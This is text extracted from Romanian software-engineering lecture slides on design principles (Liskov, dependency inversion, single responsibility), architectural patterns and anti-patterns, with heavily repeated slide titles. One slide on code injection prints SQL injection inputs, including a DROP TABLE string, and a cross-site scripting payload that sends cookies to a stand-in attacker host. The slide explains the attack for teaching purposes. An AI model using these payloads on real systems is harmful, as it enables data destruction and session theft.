Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: soluţie

Exemplu: soluţie 64 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluţie 64 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluţie 64 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

64

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principiul substituţiei

Principiul substituţiei  Subclasele trebuie să fie substituibile claselor lor de bază (Barbara Liskov, 1997) 65

Subclasele trebuie să fie substituibile claselor lor de bază (Barbara Liskov, 1997)

65

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplul 1: raţa electrică

Exemplul 1: raţa electrică 66 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 1: raţa electrică 66 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 1: raţa electrică 66 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

66

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplul 2: cercul şi elipsa (cazul 1) Generalizarea este corectă: cercul este o elipsă cu

Exemplul 2: cercul şi elipsa

(cazul 1)

Generalizarea este corectă: cercul este o elipsă cu razele egale 67
Generalizarea este corectă:
cercul este o elipsă cu razele
egale
67

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cazul 1

Cazul 1 68 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 1 68 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

68

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cazul 1

Cazul 1 ec este o elipsă, dar nu are efect Stretch 69 Florin Leon, Ingineria programarii,

ec este o elipsă, dar nu are efect Stretch

Cazul 1 ec este o elipsă, dar nu are efect Stretch 69 Florin Leon, Ingineria programarii,

69

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cazul 2

Cazul 2 notaţie inconsistentă (de fapt, conceptul de rază unică nu este aplicabil unei elipse) 70

notaţie inconsistentă

(de fapt, conceptul de

rază unică nu este aplicabil unei elipse)

conceptul de rază unică nu este aplicabil unei elipse) 70 Florin Leon, Ingineria programarii,

70

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cazul 2

Cazul 2 71 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2 71 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

71

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cazul 2

Cazul 2 aria cercului ce este incorectă (valoarea corectă este 12.56) 72 Florin Leon, Ingineria programarii,

aria cercului ce este incorectă (valoarea corectă este 12.56)

cercului ce este incorectă (valoarea corectă este 12.56) 72 Florin Leon, Ingineria programarii,

72

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 1

Soluţia 1 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 73

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 1 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 73

73

Soluţia 1

Soluţia 1 74 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluţia 1 74 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

74

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 1 75 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 1

Soluţia 1 75 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

75

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 2 (clase immutable)

Soluţia 2 (clase immutable ) 76 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluţia 2 (clase immutable ) 76 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

76

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 2 77 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Soluţia 2

Soluţia 2 77 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

77

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principiul inversiunii dependenţelor

Principiul inversiunii dependenţelor  Clasele de nivel înalt nu trebuie să depindă de clasele de nivel

Clasele de nivel înalt nu trebuie să depindă de clasele de nivel scăzut. Ambele trebuie să depindă de abstracţiuni

Abstracţiunile nu trebuie să depindă de detalii. Detaliile trebuie să depindă de abstracţiuni

78

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: problemă

Exemplu: problemă Manager (clasa de nivel înalt) depinde de Worker (clasa de nivel scăzut) Dacă se
Exemplu: problemă Manager (clasa de nivel înalt) depinde de Worker (clasa de nivel scăzut) Dacă se

Manager (clasa de nivel

înalt) depinde de Worker

(clasa de nivel scăzut)

Dacă se adaugă un nou tip de muncitor, SuperWorker, trebuie modificată clasa

Manager

muncitor, SuperWorker , trebuie modificată clasa Manager 79 Florin Leon, Ingineria programarii,
muncitor, SuperWorker , trebuie modificată clasa Manager 79 Florin Leon, Ingineria programarii,

79

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: soluţie

Exemplu: soluţie 80 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluţie 80 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluţie 80 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

80

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principiul responsabilităţii unice

Principiul responsabilităţii unice  O clasă trebuie să aibă un singur motiv să se modifice 

O clasă trebuie să aibă un singur motiv să se modifice

O clasă trebuie să facă un singur lucru

81

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: problemă

Exemplu: problemă Customer ar trebuie să se ocupe de logica de lucru cu baza de date,

Customer ar trebuie să se ocupe de logica de lucru cu baza de date, nu de înregistrarea excepţiilor

de lucru cu baza de date, nu de înregistrarea excepţiilor 82 Florin Leon, Ingineria programarii,
de lucru cu baza de date, nu de înregistrarea excepţiilor 82 Florin Leon, Ingineria programarii,

82

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: soluţie

Exemplu: soluţie 83 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluţie 83 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

83

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principiul segregării interfeţelor

Principiul segregării interfeţe lor  Mai multe interfeţe specifice pentru clienţi sunt mai bune decât o

Mai multe interfeţe specifice pentru clienţi sunt mai bune decât o singură interfaţă de uz general

Un client nu trebuie forţat să depindă de metode pe care nu le foloseşte

84

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu

Exemplu 85 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu 85 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
85
85

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu

Exemplu 86 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu 86 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu 86 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

86

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principii suplimentare

Principii suplimentare  Principiul echivalenţei lansare -reutilizare  Granula pentru reutilizare este granula

Principiul echivalenţei lansare-reutilizare

Granula pentru reutilizare este granula pentru lansare

Clasele reutilizabile trebuie grupate

Principiul închiderii comune

Clasele care se modifică împreună trebuie grupate împreună

Clasele trebuie grupate astfel încât coeziunea să fie mare

Principiul reutilizării comune

Clasele care nu sunt reutilizate împreună nu trebuie grupate împreună

Clasele care se modifică determină o nouă versiune a întregului

pachet

87

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Euristici de proiectare

Euristici de proiectare  Dimensiunea unui modul este o indicaţie asupra complexităţii acestuia  Module prea

Dimensiunea unui modul este o indicaţie asupra complexităţii acestuia

Module prea mari (100 linii) – partiţionate

Module prea mici (2-3 linii) combinate

Doar ţinând cont de cuplarea şi coeziunea configuraţiei rezultate

Fan-in (numărul de module care îl folosesc) şi fan-out (numărul de module folosite)

Fan-in-ul trebuie maximizat

Fan-out-ul trebuie să fie < 5-6

88

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Ingineria proiectării

Ingineria proiectării  Cuantificarea ideilor variabile  Nu „mare” ci „42”  Luarea în calcul a

Cuantificarea ideilor variabile

Nu „mare” ci „42”

Luarea în calcul a tuturor factorilor de decizie şi a tuturor opţiunilor de proiectare

Proiectarea pentru optimizare competitivă

A fi cel mai bun, nu doar satisfăcător

Argumente raţionale şi sistematice

Fapte, nu proiectare

„informală”

89
89

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare

6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Şabloane de proiectare

Şabloane de proiectare  Îşi au o riginea în ingineria construcţiilor şi arhitectură  Christopher

Îşi au originea în ingineria construcţiilor şi arhitectură

Christopher Alexander, arhitect

Notes on the Synthesis of Form (1964)

A Pattern Language: Towns, Buildings, Construction (1977)

Procesul inventării soluţiilor care manifestă o nouă ordine

şi organizare ca răspuns la funcţionalitate

Un şablon este suficient de general pentru a fi aplicat în mai multe situaţii, dar suficient de concret pentru a fi util în luarea deciziilor

91

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Şabloane software

Şabloane software  Soluţii generale reutilizabile la probleme care apar frecvent în proiectare  Sunt descrieri

Soluţii generale reutilizabile la probleme care apar frecvent în proiectare

Sunt descrieri despre cum se poate rezolva o problemă

Nu pot fi transformate direct în cod

Un şablon este o soluţie la o problemă într-un

context

Contextul: situaţiile recurente în care se aplică şablonul

Problema: scopurile şi constrângerile

Soluţia: regula de proiectare

92

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Conţinutul unui şablon

Conţinutul unui şablon  Numele  Problema: obiectivele  Contextul: pre- condiţiile  Forţele :

Numele

Problema: obiectivele

Contextul: pre-condiţiile

Forţele: constrângerile care indică un

compromis, de unde şi

apare nevoia de şablon

Soluţia: cum se ating

obiectivele

Contextul rezultant

Justificarea: cum funcţionează intern şi de ce (soluţia – extern)

Şabloanele înrudite Exemple

Moduri de utilizare cunoscute

93

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Tipuri de şabloane

Şabloane arhitecturale

Nivelul arhitecturii

Şabloane de proiectare

Nivelul modulelor/claselor

Idiomuri

de proiectare  Nivelul modulelor/claselor  Idiomuri  Nivelul limbajului de programare 94 Florin Leon,

Nivelul limbajului de programare

94

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura multi-strat

Arhitectura multi-strat poate fi la rândul său multi -strat 95 Florin Leon, Ingineria programarii,
Arhitectura multi-strat poate fi la rândul său multi -strat 95 Florin Leon, Ingineria programarii,

poate fi la rândul

său multi-strat

95

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura multi-nivel

Arhitectura multi-nivel Multi-strat = descompunere fi zică : dll, exe, maşini separate Multi-nivel = descompunere
Arhitectura multi-nivel Multi-strat = descompunere fi zică : dll, exe, maşini separate Multi-nivel = descompunere

Multi-strat = descompunere fizică:

dll, exe, maşini separate

Multi-nivel = descompunere logică:

namespace-uri, clase

96

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura MVC

Arhitectura MVC  Model-Vizualizare- Controlor (engl. “Model -View- Controller”, MVC) 97 Florin Leon, Ingineria

Model-Vizualizare-Controlor (engl. “Model-View-Controller”, MVC)

Controlor (engl. “Model -View- Controller”, MVC) 97 Florin Leon, Ingineria programarii,

97

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Varianta clasică

Varianta clasică  Modelul: conţine datele, starea şi logica aplicaţiei. Deşi nu cunoaşte Controlorul şi

Modelul: conţine datele, starea şi logica aplicaţiei. Deşi nu cunoaşte Controlorul şi Vizualizarea, furnizează o interfaţă pentru manipularea şi preluarea stării şi poate trimite notificări cu privire la schimbarea stării. De obicei primeşte cereri privind starea datelor de la Vizualizare şi instrucţiuni de modificare a datelor sau stării de la Controlor

Vizualizarea: afişează Modelul într-o formă potrivită pentru utilizator. Pentru un sigur Model pot exista mai multe Vizualizări, de exemplu o listă de elemente poate fi afişată într-un control vizual precum ListBox, într-o consolă sau într-o pagină web

Controlorul: primeşte intrările de la utilizator şi apelează obiectele

Modelului pentru a prelucra noile informaţii

98

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Variante modernă

Variante modernă  Model-Vizualizare- Prezentator (engl. “Model -View- Presenter”, MVP)  S tratul de

Model-Vizualizare-Prezentator (engl. “Model-View-Presenter”, MVP)

Stratul de prezentare constă în obiecte de Vizualizare iar logica aplicaţiei constă în obiecte de control (Prezentator/Controlor)

Pentru fiecare obiect de vizualizare există un obiect de control

fiecare obiect de vizualizare există un obiect de control 99 Florin Leon, Ingineria programarii,

99

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura bazată pe componente

Arhitectura bazată pe componente  Asamblarea de aplicaţii din componente prefabricate  Interfeţele trebuie

Asamblarea de aplicaţii din componente prefabricate Interfeţele trebuie bine definite

Interface Definition Language, IDL

.NET: determinarea interfeţelor din implementare

Asigură cuplarea slabă între componente Diferite tipuri de comunicare între componente

COM, CORBA, JavaBeans

100

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura orientată pe servicii

Arhitectura orientată pe servicii  Funcţionalităţile sunt separate în unităţi distincte, numite servicii,
Arhitectura orientată pe servicii  Funcţionalităţile sunt separate în unităţi distincte, numite servicii,

Funcţionalităţile sunt separate în unităţi distincte, numite servicii, accesibile într-o reţea

Pot fi combinate şi reutilizate

Scopul este tot cuplarea slabă

Interfaţarea este deosebit de importantă

Furnizorii de servicii se pot

înregistra la un broker, iar consumatorii caută serviciile dorite

Mai mulţi furnizori pot oferi acelaşi serviciu: calitate, reputaţie

Servicii web: RESTful, SOAP

101

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Pipeline

Pipeline  Un lanţ de elemente de prelucrare în care ieşirea unuia corespunde cu intrarea următorului

Un lanţ de elemente de prelucrare în care ieşirea unuia corespunde cu intrarea următorului

De exemplu: dir | sort | more

Transformările sunt de obicei incrementale

Formatul de date este de obicei foarte simplu, deseori text

Tratarea erorilor este mai dificilă

Utilizări:

Browsere

Aplicaţii de grafică

Interfeţe grafice pentru programe consolă portabile

102

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Pipeline

Pipeline  Programare func ţională, F #  |> trimite rezultatul unei funcţii următoarei funcţii

Programare funcţională, F#

|> trimite rezultatul unei funcţii următoarei funcţii

enumFilesRec (filterOutPaths ["c:\\Windows";"c:\\ProgramData";"c:\\Program Files"]) (filterExt [".jpg"; ".gif"]) "c:\\Multimedia"

|> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length))

|> Seq.filter (fun (_, s) -> (Seq.length s) > 1) |> Seq.map (fun (_, sq) -> [for path in sq -> path]) |> Seq.map groupEqualFiles |> Seq.map filterOutSingletons

|> Seq.collect Seq.ofList

|> Seq.iter (fun lst -> printfn "%A" lst)

http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/

103

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Platforma

Platforma  engl. “ framework ”  Pentru o bibliotecă tradiţională, programul apelează funcţiile din

engl. framework

Pentru o bibliotecă tradiţională, programul apelează funcţiile din bibliotecă

Într-o platformă, apelul codului client este făcut de platformă

De exemplu platforma multi-agent JADE

104

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Blackboard (tablă)

Blackboard (tablă)  Propusă iniţial pentru rezolvarea unor probleme complexe, insuficient definite  În

Propusă iniţial pentru rezolvarea unor probleme complexe, insuficient definite În general, folosită pentru unele aplicaţii legate de inteligenţa artificială, de exemplu:

Interpretarea datelor de la senzori, “data fusion”

Planificare, învăţare simbolică

Roboţi mobili

Vizualizare interactivă a datelor de la sateliţi

105

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Blackboard (tablă)  Presupune existenţa mai multor „surse de cunoaştere” specializate pe domenii diverse 

Blackboard (tablă)

Blackboard (tablă)  Presupune existenţa mai multor „surse de cunoaştere” specializate pe domenii diverse 

Presupune existenţa mai multor „surse de cunoaştere” specializate pe domenii diverse

Mai întâi, pe tablă „se scriu” specificaţiile

problemei

Fiecare sursă de cunoaştere (specialist) caută ocazia de a contribui la rezolvarea

problemei

Când cineva scrie pe tablă ceva care permite unui specialist să contribuie, acesta scrie la rândul său soluţia la subproblema pe care o poate rezolva

Procesul de adăugare a contribuţiilor pe

tablă continuă până când problema este rezolvată

106

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Şabloane de proiectare

Ş abloane de proiectare  Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides (“Gang of Four”,

Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides (“Gang of Four”, GoF)

Elements of Reusable Object-Oriented Software (1994)

Trei clase:

Şabloane creaţionale: instanţierea

Şabloane structurale: compunerea

Şabloane comportamentale: comunicarea

107

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Clasificare

Clasificare Le vom detalia în următoarele 6 cursuri Florin Leon, Ingineria programarii,
Clasificare Le vom detalia în următoarele 6 cursuri Florin Leon, Ingineria programarii,

Le vom detalia în următoarele 6 cursuri

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

108

Idiomuri

Incrementarea unui contor

Basic: i = i + 1

C: i += 1, i++, ++i

contor  Basic: i = i + 1  C: i += 1 , i++ ,

Interschimbarea a două valori

C: temp = a; a = b; b = temp;

Perl: ($a, $b) = ($b, $a)

Python: a, b = b, a

109

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Anti-şabloane

Abstraction inversion

Input kludge

Permite de exemplu

code injection (vezi slide-ul următor)

Interface bloat

Magic pushbutton

Race hazard

Stovepipe system

Pentru explicaţii, vezi suportul de curs

Stovepipe system Pentru explicaţii, vezi suportul de curs  Anemic domain model  BaseBean  Circle-Ellipse

Anemic domain model

BaseBean

Circle-Ellipse problem

God object

Object orgy

Poltergeists

Yo-yo problem

110

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

SQL / Code Injection

statement = "SELECT * FROM users WHERE name = " ' + userName + ' ";"

userName = a' or 't'='t

";"  userName = a' or 't'='t  ⇒ SELECT * FROM users WHERE name ='

SELECT * FROM users WHERE name ='a' OR 't'='t';

userName = a'; DROP TABLE users;

SELECT * FROM users WHERE name = 'a'; DROP TABLE users;

Mesaj pe “guestbook”-ul unui site web:

Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script>

111

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Concluzii

Concluzii  Faza de proiectare arată CUM dorim să construim  Se referă la domeniul soluţiei

Faza de proiectare arată CUM dorim să construim

Se referă la domeniul soluţiei

Există trei tipuri de şabloane de proiectare, corespunzătoare nivelurilor de generalitate ale proiectării:

Şabloane arhitecturale (pentru proiectarea arhitecturii)

Şabloane de proiectare (pentru proiectarea modulelor)

Idiomuri (pentru proiectarea detaliată)

Capacitatea de a proiecta bine vine din respectarea principiilor de proiectare şi din experienţă

112

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm